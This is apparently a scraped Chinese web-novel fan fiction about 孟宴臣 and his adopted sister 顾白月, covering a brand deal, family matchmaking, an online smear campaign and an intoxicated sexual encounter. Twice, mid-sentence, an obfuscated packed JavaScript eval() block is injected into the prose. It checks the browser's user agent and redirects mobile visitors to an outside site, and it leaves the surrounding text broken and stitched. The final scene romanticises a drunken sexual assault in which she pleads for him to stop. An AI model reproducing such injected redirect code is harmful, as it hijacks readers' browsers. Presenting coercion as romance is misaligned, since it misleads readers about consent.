顾白月想了想,自己确实经常穿春上春的衣服,不过这一切也太巧了吧?她不禁弯着眸子浅笑:“我一定是走狗|屎运了,改天去拜拜神佛。” 孟宴臣摇头失笑:“我看不必……” 他心底倒是如明镜一般。 春上春的持有人确实清高自傲,眼高于顶,往年每次挑选代言人都极尽吹毛求疵之能事,条件十分苛刻。 不过,鲜少有人知晓,这位持有人姓付,同付闻樱是同宗同族的堂兄妹。 春上春总部在海市,顾白月若是有意做代言人,势必要去海市出差考察,全部行程算下来最少也要盘桓一星期左右。 月华如水,光影斑驳,孟宴臣一张清俊至极的脸,在夜色中半遮半掩,眸色明灭,他望向言笑晏晏,笑容甜暖的顾白月。 妈妈绕这么大一个弯子,故意支开皎皎,想做什么? “皎皎想要接下代言人的工作吗?” “想啊。” 顾白月脚步轻盈,蓬松长发美好得似一团云雾,“听说海市盛产美食,等我忙完回来,给哥哥带定胜糕,芸豆卷,还有糯米小丸子。” 孟宴臣静静望向她,“好。” 不管妈妈想做什么,总之得利者是皎皎,这就可以了。 …… 顾白月的戏份彻底杀青后,马不停蹄地带着花姐,直奔海市,原本以为这代言工作还需一番你来我往商业试探,没想到一切顺利得不可思议。 她给孟宴臣打电话,聊及此事还道:“感觉他们对我挺客气的,代言费给得也不低,今年过年,皎皎可以包一个大红包,给哥哥添福添喜了。” 然而,顾白月这边一切进展顺利,事业忙得风生水起,孟宴臣那边却有城门失火,应接不暇之势。 农历十月二十七这一天是孟宴臣生日,付闻樱准备置办一场生日宴,遍邀亲朋故旧家的孩子们前来庆祝,顺便联络感情。 当然了,虽然名义上是生日宴,但消息灵通者都知道,付闻樱这是打算催儿子相亲。以孟家深厚底蕴,不菲财力,再加上孟宴臣本人立如芝兰玉树,笑似朗月入怀的样貌气度,想要趁机牵线搭桥的人,自然络绎不绝。 好在,付闻樱发挥稳定,延续了她一以贯之的高标准严要求,将各世家豪门适龄男女的资料收集到一起,打算先筛选掉一批太不像样的,缩小范围。 璀璨灯光下,付闻樱戴着眼镜,以审核财务报表的严谨态度,一张张点评过去:“这姑娘不行,眼睛比皎皎小多了,这个也不好,性格太聒噪,宴臣说不定会避之不及……” 孟怀瑾放下报纸:“行了,你也别太吹毛求疵了。” 付闻樱不赞同:“婚姻是一辈子的事,当然要慎之又慎,我的一双儿女这么优秀,可不能什么阿猫阿狗都混进来,把人骗了去。你也上点心,别想再做甩手掌柜。” 她又换了一沓照片接着看,“你看这几个小伙子怎么样?都是留学归来的高学历人才,温文尔雅,中正谦和,就是个头儿差了点,没有咱们宴臣高,五官嘛,只能说是周正,也不知道皎皎看不看得上……” 孟怀瑾摆手:“这么挑,你就算是选到明年都不会有合心意的,先入为主,拿着标准答案去面试,自然处处不如人意。” 付闻樱皱眉:“你什么意思?” 孟怀瑾无奈:“你没发现,你在照着皎皎给宴臣选妻子,又想照着宴臣给皎皎挑丈夫吗?” 付闻樱愕然,再看手里的照片也失了兴趣,只觉索然无味。 …… 到了生日宴这一天,付闻樱盛装出席,贵气逼人,足以显示她对这件事的重视程度,还专门在宾客到来之前提醒孟宴臣,“听说你郑伯伯家的小女儿回国了,那孩子好像叫青青?你小时候还见过她,性格蛮活泼可爱,见人三分笑,都说她跟个小太阳似的,宴臣你是主人,等会儿记得好好待客。” 一张照片落在桌上,缓缓推到孟宴臣面前。 他并未垂眸观看,只是笑意清苦,淡淡自嘲:“妈妈,我想你应该很清楚,你儿子是怎样卑劣阴暗的一个人,太阳的光芒太过耀眼,那会刺伤我,让我遍体鳞伤。我只希望窗台上的明月,能够时时眷顾我,偶尔为我指引活下去的方向,免我在黑夜中踽踽独行。” 付闻樱加重语气,有意警告:“孟宴臣!” 孟宴臣扭头望向她,很受伤地问:“我只想孤孤单单一辈子,无牵无挂,远远守着她,这样也不可以吗?妈妈……” 付闻樱内心仿佛被某种无形的手触动了,她深吸一口气,重新硬起心肠:“十分钟后下楼,客人们马上就要来了,不要失礼。” 房门关上,孟宴臣在黑暗中轻轻发出一声嗤笑。 付闻樱左等右等不见孟宴臣下来迎客,忍着怒火再次来到房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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让寿星公自己动手做生辰礼物? 这听起来好像有些滑稽。 可是,她完全没觉得这有什么不对。 他呢,也全然不以为忤,并且甘之如饴。 又有什么关系呢? 早在十年前,顾白月为了能够送给韩廷一份符合他身份的礼物,省吃俭用了好几天,不小心被孟宴臣撞见吃泡面时,孟宴臣就说:“皎皎以后不可以再这样了,尤其不许送我贵重礼物。” 身家难以估量的国坤继承人,却说顾白月送出去的一千块钱左右的礼物贵重。 顾白月故意逗他:“那我要是随手从绿化带里薅一把草,送给宴臣哥哥,你也不生气吗?” 孟宴臣很认真地跟她解释:“如果皎皎送给我一棵草,也肯定是因为觉得那棵草很漂亮很特别,想要同我分享,那我为什么要生气呢?” 缀着红缨的六角宫灯一点点成形,顾白月想要执笔写下对孟宴臣的祝福,却因长久没有练习,手腕有些发软,斜后方蓦然伸出一只手,纤长有度,薄而不弱,手背上一粒细细的褐色小痣,平添几分性感。 这只手覆上来时,顾白月下意识想松开毛笔,可他没有退缩,柔韧手指藤蔓一般缠裹而来,耳边是清爽的乌木沉香,挟着呼吸的热气,喷洒在雪白莹润的肌肤上,带着她,用瘦金体一笔一划慢慢写: 如月之恒,如日之升。 如南山之寿,不骞不崩。 如松柏之茂,无不尔或承。 孟宴臣(三十七) 第二天一早,顾白月起床继续拍摄宣传视频,临走揪着孟宴臣衣袖,不放心地反复叮嘱他:“哥哥,你不要乱走,小心迷路哦,等皎皎下班回来给你带糍粑糕!” 她说这话时眉眼弯弯,神色亲昵,像在哄劝闹脾气离家出走的小孩子。 孟宴臣心想皎皎大概忘了,他们两人之间究竟谁的外号叫做“撒手没”,不过他还是配合地点点头:“好。” 但是等顾白月一走,孟宴臣立刻出了门,海市毗邻云城,孟家祖宅就在云城的一座半山别墅,他打算拜访一下掌管族谱的三叔公,七八个小时足够跑一个来回。 孟宴臣不敢耽搁,一路紧赶慢赶,终于在五点半左右重回海市,站在春上春总部大楼门外,等待顾白月下班。 过了一会儿,陆续有工作人员三三两两走出来,一个中年男人擦了擦眼镜片,不经意间瞥见树下的孟宴臣,客气地打招呼:“付总,您出差回来了啊?” 孟宴臣淡淡睨他,知道对方认错了人。 果然,旁边一个年轻人眼尖:“组长,您看错了,咱们大少爷后天抵达。” 两人歉意地冲孟宴臣笑了笑,很快就离开了。 顾白月今天的状态特别棒,就连品牌方的负责人都夸她表现力强,穿上精工细作刺绣华美的“二乔”,活脱脱一个风华绝代,倾国倾城的大美人。 大约是知晓有人等着自己,顾白月心底有了支柱,似乎就连疲劳乏味的工作,也没有那么面目可憎了。 “哥哥!” 顾白月乳燕投林一般跑过去,兴奋地跟孟宴臣说:“我今天专门找本地人打听了,做了一份特别详细的攻略,我们先去吃牛肉粉丝汤,再去尝尝红豆冰粉、麻薯小圆子,啊,听说到了九点多还有烟花秀,无人机表演……” 她特别自信地冲孟宴臣拍胸脯,“哥,你喜欢什么尽管吃尽管买,皎皎挣钱了,今天晚上的一切消费,我买单!” 这语气有点像肖亦骁在酒吧吹牛时的姿态,透着一丝俏皮可爱,孟宴臣沉甸甸的心一下蓬松轻盈起来,被顾白月的开心感染,浅笑道:“那我们皎皎还真是厉害啊。” 若是知道两人经济收入的差距,恐怕很容易将孟宴臣的话理解为心口不一,好在顾白月绝不会误会孟宴臣,孟宴臣也知道她不会。 所以,顾白月是真的高兴,没有什么能比来自孟宴臣的肯定,更能让她获得满足感和成就感。 顾白月今天穿了一条蓝白相间针织款拼接连衣裙,是春上春品牌方赠送的,设计风格是典雅的新中式,走动时水波荡漾,浮光跃金,恍若皎洁月光下惊鸿一现的鲛人。 至于孟宴臣仍旧是严谨禁欲风,白衬衣,黑西装,脖子下面服帖地系着顾白月送出去的那条深蓝色波点领带,——刚好与顾白月裙摆的颜色遥相呼应。 孟宴臣轻轻笑了一下,为这一点小小的巧合庆幸,妄图从蛛丝马迹寻找他们十足匹配的证明。 街边有老爷爷在卖臭豆腐,顾白月过去买了一份,孟宴臣倚在围栏边等她,任由苦涩海风将头发吹乱。 他平常总是端方持重,一丝不苟,偶尔这般发丝凌乱,神态松弛,整个人忽然显露出温润如玉的底色,就连金丝眼镜下的眸子也汇聚着洞庭晓月,山溪春色。 顾白月歪着头对他笑,“哥哥这样真好看。”如果没有种种负担牵累,在书香门第,新式儒商家庭涵养出来的孟宴臣,本就应该是一块触手生温的羊脂白玉,干净而清澈。 他们牵着手漫步,沿着桥边台阶一层层走过去,安宁静谧如在深山古刹聆听梵音佛语,纵使周遭浮华万千,红尘百丈,也再不入心入眼。 长街尽头,姚莫北看向执手并肩的两人,他们走走停停,闲适惬意,为了留出肚子品尝更多美食,遇到想吃的东西就买一份,很有默契地分吃掉。 电话那头,付闻樱女士还在咄咄逼问:“找到宴臣没有?他是不是跟皎皎在一起?” 一位银白鬓发,衣着干净利落的阿婆坐在马路边,地上放着满篮子的鲜花,用苍老手指缓缓编花环。 顾白月蹲在她脚边,托着脸颊笑盈盈地问:“阿婆,这些花好漂亮啊,都是您自己种的吗?” 阿婆得意一笑,露出硕果仅存的几颗牙齿,用带着浓浓方言味道的普通话,口音很可爱地说:“是呀是呀,花随人,小姑娘呀,阿婆年轻时跟你一样漂亮的呀。” 顾白月莞尔一笑:“那我们美人惜美人,我请阿婆吃紫薯饼。”这紫薯饼做得软软糯糯,口感细腻,很适合老人家。 卖花阿婆也不推辞,咧嘴笑着收下来,拿出一条茉莉花手串系在顾白月腕间,“这花香得长久,小囡囡,它会保佑你幸福的呀。” 夜风习习,顾白月大步跑向孟宴臣,蓝白相间的衣裙在风中荡开,步步生莲,娉婷多姿,她将茉莉花手串解下来,系在孟宴臣手上。 “快,快,哥哥快戴上,它能保佑哥哥健康快乐,平安无忧。” 姚莫北默默观望了一会儿,他想,或许皎皎自己都未曾意识到,她每次去见孟总时,都是跑着奔向他,一往无前,毫不迟疑。 前尘往事浮上心头。 几年前姚莫北从京市财经学院毕业时,满心欢喜地去找工作,那时的他多么踌躇满志,意气风发,天真地以为他可以靠着苦读,从大山里厮杀出一条血路,逆天改命。 然而,现实何其残酷。 面试接连碰壁,他引以为傲的学历在一众硕士博士海归精英面前,简直不值一提,想要进入声名远扬的国坤集团,无异于痴人说梦。 于是顺理成章地被淘汰。 他沮丧得犹如丧家之犬,捏着简历走出招聘室时,迎面看到身姿笔挺,昂藏英挺的孟宴臣,被分公司一众员工簇拥着,表情冷淡,凛凛如风,就那般目不斜视地大步而过。 周围有人窃窃私语: “哇塞,这人谁啊?” “他你都不知道?总部下来视察工作的小孟总,孟怀瑾先生和付闻樱女士膝下唯一儿子,妥妥的国坤太子爷。” 原来是这般足以翻云覆雨的人物啊。 姚莫北心中一动,咬牙直愣愣闯了过去,大声喊道:“孟总,孟总,我是京大财经学院今年刚毕业的学生,非常崇拜贵公司的企业文化,您能不能给我一个机会?” 有人冲过来维持秩序,保安态度强硬地请姚莫北离开,由始至终孟宴臣头都未回,置若罔闻。 姚莫北孤注一掷,握拳大喊:“孟总,我听皎皎说起过您!她说你是世界上最好最好的哥哥,我真的很需要这份工作,求您帮我一把好吗?!” 孟宴臣停了下来。 姚莫北想,他利用了顾白月,卑鄙地在当时抑郁失落的孟宴臣心头撒了一把盐,这才能够厚颜无耻地一路爬到助理岗位上。 ……欠了人家的,要还的。 姚莫北收回视线,恭敬地对付闻樱道:“不好意思,付女士,我还没找到孟总和皎皎,他们手机都关机了……” 快乐是有时限的,到了夜间十一点左右,孟宴臣先将顾白月送回酒店,然后一个人乘车去了机场,他要坐凌晨的航班飞回燕城。 明天周一,孟宴臣要老老实实回国坤上班的,这是他逃避不了的责任,即便是放纵,也是清醒的,可控的,谨守着不能逾越的底线。 隔天,顾白月封面杂志拍摄完成,宣传视频也初步定型,接下来就交由后期工作人员,这次的代言活动趋向尾声。 就在这时,顾白月见到了一个让她十分惊讶的人。 春上春总部,男人穿着绣有青竹纹的白衬衣,搭配米色长裤,外面罩了一件深灰色风衣,微微一笑,似清风朗月。 “你好,我是付泽生。” 顾白月惊诧地注视着他,满脸难以置信,上上下下将付泽生看了好几遍,犹疑不定地想道:这人……好像有一点点哥哥的影子? 见顾白月双眼圆睁,一张樱桃似的殷红小嘴无意识地微微张开,眸光潋滟,容色清绝,付泽生温声失笑:“皎皎果然好漂亮呀。” 嗳? 顾白月眨巴一下眼睛,有些不适应付泽生的自来熟,虽然这人容貌气度同哥哥有两三分相似,不过,顾白 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|9453002|98467||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 月才不会将他们混淆,自然也接受不了来自陌生人的越界言行。 看出顾白月的警惕,付泽生好脾气地笑了笑,“怪我忘记跟你介绍了,我是春上春第二十七代传人,也是中华区的执行总裁。” 顾白月礼貌地说:“哦,那你很厉害啊,不过,没有我哥哥厉害。” 嘿嘿,哥哥永远天下第一好。 付泽生顺势问:“你哥哥是?” 顾白月超自豪:“我哥哥是孟宴臣,国坤集团的继承人。” 付泽生笑意加深:“巧了,我哥哥也是孟宴臣,国坤集团继承人。” 顾白月:“???” 她气嘟嘟地鼓了鼓脸颊,不是,这谁啊,干嘛要跑过来跟我抢哥哥,他自己没有吗? …… 两天后,顾白月跟花姐和小助理一起,带着大包小包满满当当的地方特产,费了九牛二虎之力才从机场挤出来。 孟宴臣过来接机,身旁还站着肖亦骁和赵又司,三人远远看到顾白月就迎过来,赵又司笑:“得,咱们的团宠吉祥物,回来了。” 肖亦骁嘴贱:“我说皎皎,你这是去海市工作,还是去逃难了?” 顾白月朝他做鬼脸:“想必肖大少爷是看不上我带回来的礼物了?” 花姐带着小助理打车离开,孟宴臣接顾白月回家,当然,后面还跟了两个打算去孟家蹭饭的。 付闻樱坐在客厅沙发等他们,见了顾白月后淡淡点评了一句,“瘦了。” 顾白月一向知道怎么跟付闻樱相处,见状黏黏糊糊地去抱她,蹭着付闻樱女士的肩膀乖巧道:“是啊,哥哥也说我瘦了好几斤,妈妈可要想办法给我补一补。” 有时候,被人需要被人全身心的依赖,实在是一种很棒的感觉,付闻樱也不能免俗,她笑着嫌弃顾白月:“嘴巴馋得跟小狗儿一样,放心,少不了你的。” 顾白月趁机拿出给大家带的礼物,送孟怀瑾一套紫砂壶茶具,付闻樱一件云锦纱旗袍,许沁一块四叶草真丝方巾,就连肖亦骁赵又司,还有未到场的韩廷王勉都有,不过他们几人收到的大多是海市零食,有一些还是街头巷尾搜罗过来的,颇费功夫。 见顾白月三言两语,哄得付闻樱眉开眼笑,几个大男人都钦佩不已,肖亦骁拿胳膊肘撞了撞孟宴臣:“唔,老孟你收到什么了?” 赵又司好笑:“你就别替皇上瞎操心了,皎皎就是摘一片树叶给他,老孟都能高兴半天,认为他获得了世界上最独一无二的树叶。” 孟宴臣垂眸浅笑。 肖亦骁赞同:“那倒是。” 他对她的偏爱简直有目共睹。 肖亦骁反应了一会儿:“嗳,不对啊,我记得课本上好像说过,世界上没有两片完全相同的树叶……” 赵又司懒得理他:“啊对对对,知道了,玩去吧。” 肖亦骁默然思索了片刻,惊觉自己挨骂了,气愤地跟赵又司掰扯:“你才是太监!” 一片喧闹中,顾白月坚定地走向孟宴臣,芙蓉似的脸颊边,浮现两个浅浅的梨涡,笑靥胜春:“哥哥,这个送你。” 暗红色锦囊里放着一枚平安扣,被顾白月小心翼翼地收在口袋里,递过来时还带着她的体温。 孟宴臣慢慢接过平安扣,指尖碰触到女孩细嫩肌肤,蜻蜓点水般掠过,他隔着眼底云雾看向顾白月:“谢谢皎皎。” 一枚车钥匙落在顾白月掌心。 “嗯?” “这是回礼。” 顾白月从车钥匙上面的图标看出了品牌,料想是天花板级别的高配,不由替孟宴臣心疼,这又是一大笔花销,于是掰着手指头一一细数:“……哥哥十五岁那年,我送你一只玩偶猫,你回我一台电脑;哥哥十六岁那年,我送你一只竹编蝴蝶,你回我一双限量款运动鞋……还有前年,我人都不在家,只是把礼物寄给了哥哥,哥哥竟然拍回来了一盆兰中名品素冠荷鼎……” 算来算去,顾白月深深叹息:“哥,你这样也太吃亏了。” 孟宴臣不以为意:“你我之间,只看心意,不计钱财。” 孟宴臣(三十八) 凉风习习,细雨霏霏。 顾白月蹲在廊下,呆呆地抱膝看向前方,那里摆着一盆清雅的兰花,正是孟宴臣两年前送给她的素冠荷鼎。 孟宴臣撑着一把黑伞走来,刚下班回家就看到顾白月有些失落的样子,“怎么了?”他将伞倾过来,遮在顾白月头上。 “花儿生病了。”顾白月微微叹息,她很喜欢这盆素冠荷鼎,在家时都是自己照顾,有事外出才会拜托给花匠,但现在兰花细长碧绿的叶子,已经有一半枯萎发黄,根部还生了霉斑。 “花匠叔叔说,小兰花好像是被热水烫到了。” 孟宴臣皱眉,心底浮现某种不好的猜测:“我明天请人过来看看。” 两人约定好去西山公墓祭拜季如兰,孟宴臣需要上楼换衣服,顾白月就在客厅等着他,孟宴臣来到二楼才发现,许沁俯在栏杆处往下看,不知在瞧些什么。 孟宴臣冲她点点头,擦身而过时,许沁忽然开口:“哥,我谈恋爱了。” 这话来得异常突兀,又十分莫名其妙,孟宴臣讶然:“所以?” 许沁转过身来,语气稍显强硬:“你不是不许顾白月谈恋爱吗?那我呢,我也是你妹妹,哥哥为什么从来不替我打算呢?” 孟宴臣表情平淡:“你已经二十多岁了,又一向不喜欢以孟家人自居,我认为一个成年人,应该懂得为自己言行负责。作为兄长,我有提醒你的义务,却没有责任去背负你的人生。” 许沁情绪激动:“同样都是你的妹妹,孟宴臣,你这么对我不公平!凭什么她每年都能收到各式各样,昂贵又有趣的礼物,而我只能收到一笔又一笔的转账!” 孟宴臣霍然抬头,直直逼视她:“是你给那盆素冠荷鼎浇了热水?许沁,我有没有警告过你安分一点,不要试图伤害皎皎。” 许沁嘲讽:“她有什么好,值得你这么明目张胆的偏爱,妈妈给她介绍相亲对象你都不许,而我谈恋爱你问都不问。即便那人不学无术,油腻自大,甚至对孟家深怀怨怼,居心不良,你也不管吗?!” “那你呢。”孟宴臣一针见血,冷笑着尖锐反问,“如果你明知道那人如此不堪,明知道他对孟家心怀敌意,还是坚持要跟他纠缠不清,你又置养育你二十多年的孟家于何地?!” 许沁喉头一梗,“我只是,只是……” 她看向孟宴臣清冽眼眸,优越眉骨,不知怎么就将藏在心底最深的秘密吐露,“她能为哥哥做的,我也可以,哥哥要是喜欢她,为什么不能是我……” “许沁!” 孟宴臣推了推眼镜,目光森冷:“你越界了。” 他大步走过,只留下一句疏离的话语,“如果你因为我送皎皎礼物而嫉妒,那我劝你尽快习惯,毕竟这种事未来还会重复无数次。” …… 天气慢慢冷了下来,新年的脚步越来越近,顾白月之前客串的一部青春校园剧《柠檬之恋》,最近正在晚间黄金档热播。 顾白月在剧里饰演男主的初恋,一个惊鸿一现,给男主留下深深的美好记忆,又被迫出国留学的白月光。 因这部剧制作精良,班底不俗,再加上剧情生动不落俗套,人物设定新奇有趣,很是风靡了一把,不但捧红了一众男女主演,就连只有几分钟戏份的顾白月都火上热搜,喜提“国民初恋”称号。 不知道是巧合,还是春上春那边趁热打铁,竟然前后脚放出了“二乔”的宣传视频,让顾白月的知名度再上一个台阶。 《三生奇缘》那边的推广图,也将顾白月的排序往前提了两位,直接放在男女主后面,网页数据显示顾白月单人海报浏览量断崖式居高,将其他人远远甩在后面。 简而言之,顾白月一炮而红,粉丝也一夜之间暴涨,虽然大部分都是冲着顾白月的脸而来,但只要好好运作,颜值粉也能转化成死忠粉。 花姐现在正式被任命为经纪人,对外接洽顾白月相关业务,梳理手头资源,得益于顾白月现在热度正高,自带流量,不少导演发来邀约。 顾白月将这几个剧本看了一遍,跟花姐再三商量好,选定了一部不错的历史正剧《明月曾经照古人》,年后进组。 《明月》这部剧由央视出品,一字一句都十分考究,已经定下来的演员一水儿的老戏骨,顾白月之所以能在几十个竞争者中杀出重围,多亏了她昳丽冶艳,古装扮相力压群芳,非常符合史书中对一代传奇“明月皇后”的描写。 年前这段时间,顾白月推了两档综艺节目的邀约,只专心在家琢磨剧本,一心一意提升演技,几乎每天都要背台词和排练。 住在孟宴臣的公寓里,家里就他们兄妹两人,顾白月试演时,孟宴臣就帮忙搭戏,负责扮演“羲和帝”,跟她互动。 一来二去,孟宴臣竟然将羲和帝的台词完全记了下来,可谓倒背如流。 物盛则衰,事极必反,与此同时,网上也开始出现一些不和谐的声音,有人浑水摸鱼,趁机带节奏,对顾白月口诛笔伐。 花姐经验老道:“最近风头太盛,有人守点狙你,这些话说得太难听了,你别看,也别往心里去。” 顾白月现在也算渐渐摸清娱乐圈的门道,闻言若有所思:“是同类型演员在防爆?” 市场上的蛋糕就这么大,顾白月多吃一点,其他人能分到手的自然就少一点。 花姐翻看评论:“不止,好像还有路人浑水摸鱼,你看这个ID名叫一片叶子的,几乎每个平台下面都有她,诬蔑你经常出入酒吧,夜夜买醉,私生活很不检点。” 这个名叫一片叶子的网友,不但言辞污秽,煽风点火,还抛出了一张模糊的偷拍图,背景正是湾流酒吧,图片边角处露出小半张莹润精致的脸,对面几个身影高大的男人,正自推杯换盏,觥筹交错。 虽然只有半张脸,但顾白月的五官太有辨识度,一看就是她。 顾白月摸着下巴:“拍得也太难看了,我鼻子都变形了,不过骁骁这个大笨蛋真拉胯啊,不是说湾流不许偷拍吗?” 花姐无奈:“你还有心情开玩笑呢,咱们赶快反击吧。” 顾白月笑眯眯地安慰她:“花姐别急,哥哥教过我一个词,叫做触底反弹,我们再等一等。” 一片叶子应该是被顾白月的对家收买了,每次发照片的时间点都恰到好处,双方一唱一和打配合,陆陆续续放出顾白月出入玫瑰苑、泰和公寓的偷拍照。 最巧妙的是这些照片上,顾白月身边几乎都有人陪同,而且从背影看去,分明是西装革履,显赫尊贵的上流人士。 当然,顾白月的粉丝也没有袖手旁观,纷纷发出声援,真诚地同吃瓜群众解释,表示相信自家小月亮的人品: 谁说娱乐圈新人就买不起玫瑰苑和泰和公寓了? 顾白月进圈拍戏时,不想过度消耗孟家人脉,用的是顾白月这个本名,而非孟贺卿,所以粉丝亲切地称她为小月亮。 这时候,幕后操盘手终于露出底牌,祭出一张大杀器:宴山月的偷拍图。 一片叶子发了一连串冷笑表情:顾白月买得起玫瑰苑和泰和公寓,但她买得起宴山月吗? 众所周知,宴山月是燕城东新区近两年新开发的别墅群,整体采用新中式园林布局,处处假山池藻,亭阁楼台,步步叠山理水,巧夺天工,可谓将古风古韵之美发挥到极致,兼具桑麻野话,禅机理趣。 宴山月自项目启动之初就备受关注,一经推出,就被无数网友誉为“梦中情家”,无奈寸土寸金,造价高昂,面积最小的一套也要1.2个小目标。 如此豪宅,莫说是顾白月这样入行不久的新人,即便是奋斗十多年的老前辈,也不是人人都买得起。 黑粉们言下之意,自然是指顾白月厚颜无耻,出卖青春,否则她一个十八线小演员,哪里能踏足宴山月? 这下,粉丝们坐不住了,接二连三跑来艾特顾白月:小月亮,你是清白的对不对? 手机叮咚响了一下,顾白月看完孟宴臣发来的消息,知道时机已到,在社交平台上正面回复:就算是十八线小演员,也要回家吃饭的啊(笑脸)。 配图是一只猫猫背着书包,放学回家咧嘴大喊:妈,我饿啦!!! 反围剿战正式打响。 宴山月的官方账号得到上面指令,终于发声:咱就是说有没有一种可能,这个“宴山月”的“宴”和“月”,指的分别是我们家大少爷孟宴臣,以及小公主顾白月?宴山月本来就是我们大少爷送给小公主的新年礼物啊(哭笑不得)! 宴山月隶属国坤集团,而孟家又掌握着国坤的大半江山,此话一出,吃瓜群众兴奋不已,有人跑去艾特孟宴臣:宴子,你说句话啊宴子,顾白月真是你妹妹?宴山月真是你送她的新年礼物? 作为国坤集团的对外主事人之一,孟宴臣以其清爽之中透着淡淡忧郁的卓绝气度,干净俊逸的疏朗眉眼,在一众大腹便便的地中海大叔中,可谓鹤立鸡群,矫矫不凡,从几年前正式入职,在社交媒体露面开始,就吸引了一大批颜值控前来舔屏斯哈,——彼时国坤集团的股票还戏剧般地上涨了。 孟宴臣的回复也很有意思,他用个人账号发了寥寥三个字:是礼物。 但不是妹妹。 后面艾特了顾白月,付闻樱和孟怀瑾,以及宴山月的官方账号。 配图是兄妹二人站在宴山月院子里的萧萧竹林边,一个清冷严谨,淡然如雪,一个靡颜腻理,亭亭似月。 美好得宛如一幅油画,简直双双绝杀。 随后,付闻樱社交账号艾特顾白月:乖,受了委屈记得回家跟妈妈说。 孟怀瑾的反应就强硬多了,他只放了一张全家福,然后直接圈定几个上蹿下跳兴风作浪的账号,通知法务部给他们寄出律师函。 网友们笑称:好一出反转打脸爽文大戏!顾白月上辈子是救了银河系吗?妥妥的团宠啊。 也有网友说:孟家人是瞒着我们偷偷进化了吗?一个个长这么好看,不要命啦。 精明的网友已经开始问顾白月:小月亮,我们要是买宴山月,能不能让你哥哥给打一个粉碎性骨折? 网友们吃瓜吃得酣畅淋漓,连带着宴山月这处园林也走入更多人视野,冲上热搜榜前十,给国坤宣传部省了一大笔预算。 有一位实力强悍的粉丝,当时就联系了宴山月的销售部,表示也想买一套,面积和户型都不在乎,只要能跟顾白月做邻居。 顾白月笑盈盈地看着销售主管发来的感谢,心想:怪不得哥哥劝我大方收下宴山月,说他能把这一套房子的钱赚回来,原来是真的。 她动了手指,给孟宴臣吹彩虹屁:哥哥超棒! 孟宴臣回了一个大手摸猫猫头的表情包。 一片狂欢中,有人发出微弱的声音:咦,我怎么觉得宴子的声明怪怪的,是错觉吗? …… 临近年底,应酬渐渐多了起来,尽管孟宴臣不爱饮酒,有时碍于约定俗成的酒桌文化,也不得不勉强全了礼数。 这天夜里,好不容易将合作商打发走,孟宴臣嗅了一下身上酒气,在手机上预约代驾服务。 过了一会儿,一个穿着反光衣的女孩跑过来,“不好意思,我来晚……孟总?” 孟宴臣望了过去,认出是之前在湾流酒吧工作的服务生,这人神色功利,瞧着不是个善类,听肖亦骁说后来被解雇了。 只是见过一两面,不晓得对方名字,否则孟宴臣就更换成别的代驾师傅了,谁想到会这么巧呢。 叶子连连鞠躬道歉:“孟总对不起,我之前年轻不懂事,在湾流得罪您和肖哥了,您大人有大量,高抬贵手放我们小人物一条生路,您现在退单,平台要扣我钱的……” 她说着说着竟然哭了起来。 孟宴臣侧首避开目光,良好的教养不允许孟宴臣直视一位女士失态,只是淡淡道:“上车吧。” 如果对方能够改过前非,安分守己,他自然也做不出故意为难,赶尽杀绝之事。 “好的好的。” 叶子忙不迭上车,缓缓开向泰和公寓,路上有意同孟宴臣攀谈几句,试着开口:“原来您住泰和公寓啊?听说这里面住的人非富即贵,房子都可值钱了。” 孟宴臣默然不语。 叶子继续试探:“其实我也是送外卖的时候,道听途说的,像我们这种无权无 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一桌演艺圈的人正聊得开心,顾白月忽然说要走,花姐本来还想劝她以事业为重,一看顾白月慌得不成样子,只好让她离开。 顾白月一路紧赶慢赶回了泰和公寓,进了家门一看,玄关处的皮鞋随意散落着,地毯也翘起一角。 哥哥最爱干净了,绝对不会做这么没规矩的事。 她大步跑到孟宴臣卧室门口,“哥哥,你在里面吗?你还好吗?” 孟宴臣没有说话,只模糊传来一道沉重闷哼,带着痛苦意味,仿佛在极力隐忍。 顾白月也顾不得许多,直接推开门闯了进来,房间里没有开灯,到处暗沉沉的,阴影深处仿佛蛰伏着一只准备择人而噬的巨兽,眸子猩红。 “哥哥?” “别过来……” 酒气醺然,孟宴臣狠狠咬牙,像即将溺毙的人一般,伏在床上大口喘息,青灰色衬衣逐渐洇湿,他用尽全身力气嘶哑道:“皎皎,别过来,哥哥求你……” 她的靠近会让他理智全无,彻底失控,更何况是现在? 孟宴臣太害怕了。 他怕伤害了皎皎,一切就再也回不了头。 他们太过熟稔,顾白月一听孟宴臣的声音就知道他不对劲,她想也不想就跑过去搀扶,“哥哥,你生病了吗?别怕,我这就带你去医院……” “来不及了……” “什么?” 野兽出笼,男人死死攥住顾白月手腕,一把将她箍在怀中,太近的距离,让顾白月感受到孟宴臣身体上的异样。 “哥哥,你……”她说话时红唇微启,不可避免地在男人喉结上拂过,对方气息滚烫,腹肌和胳膊紧绷绷得像石头。 这种充满侵略感的孟宴臣,攻击力十足,是从未在顾白月面前显露出的危险模样,她下意识想要退缩,骇得心跳紊乱,口干舌燥。 有些禁忌一旦打破,无异于虎兕出柙,自堕深渊。 顾白月目光怯怯地仰头望他,小心翼翼往后挣扎,一点一点,慢慢抽离,细声细气地安抚:“哥哥,你先别动,我,我这就给又司哥打电话……” 唉…… 顾白月到底是吃了没经验的亏,这种时候提其他男人的名字实在不是明智之举…… 于是,炙热的吻袭来,残忍地侵|占顾白月,攻城陷地,一发不可收拾,她似乎成了一只幼弱的待宰羔羊,又或者雨中飘零的纯洁栀子。 不知过了多久,孟宴臣抱着顾白月走到那一面巨大的蝴蝶屏风墙,他在耳边幽幽问:“皎皎知道哥哥最喜欢哪一只蝴蝶吗?” 她已经说不出话来了,细细地喊疼:“唔……我,不,不知道……” 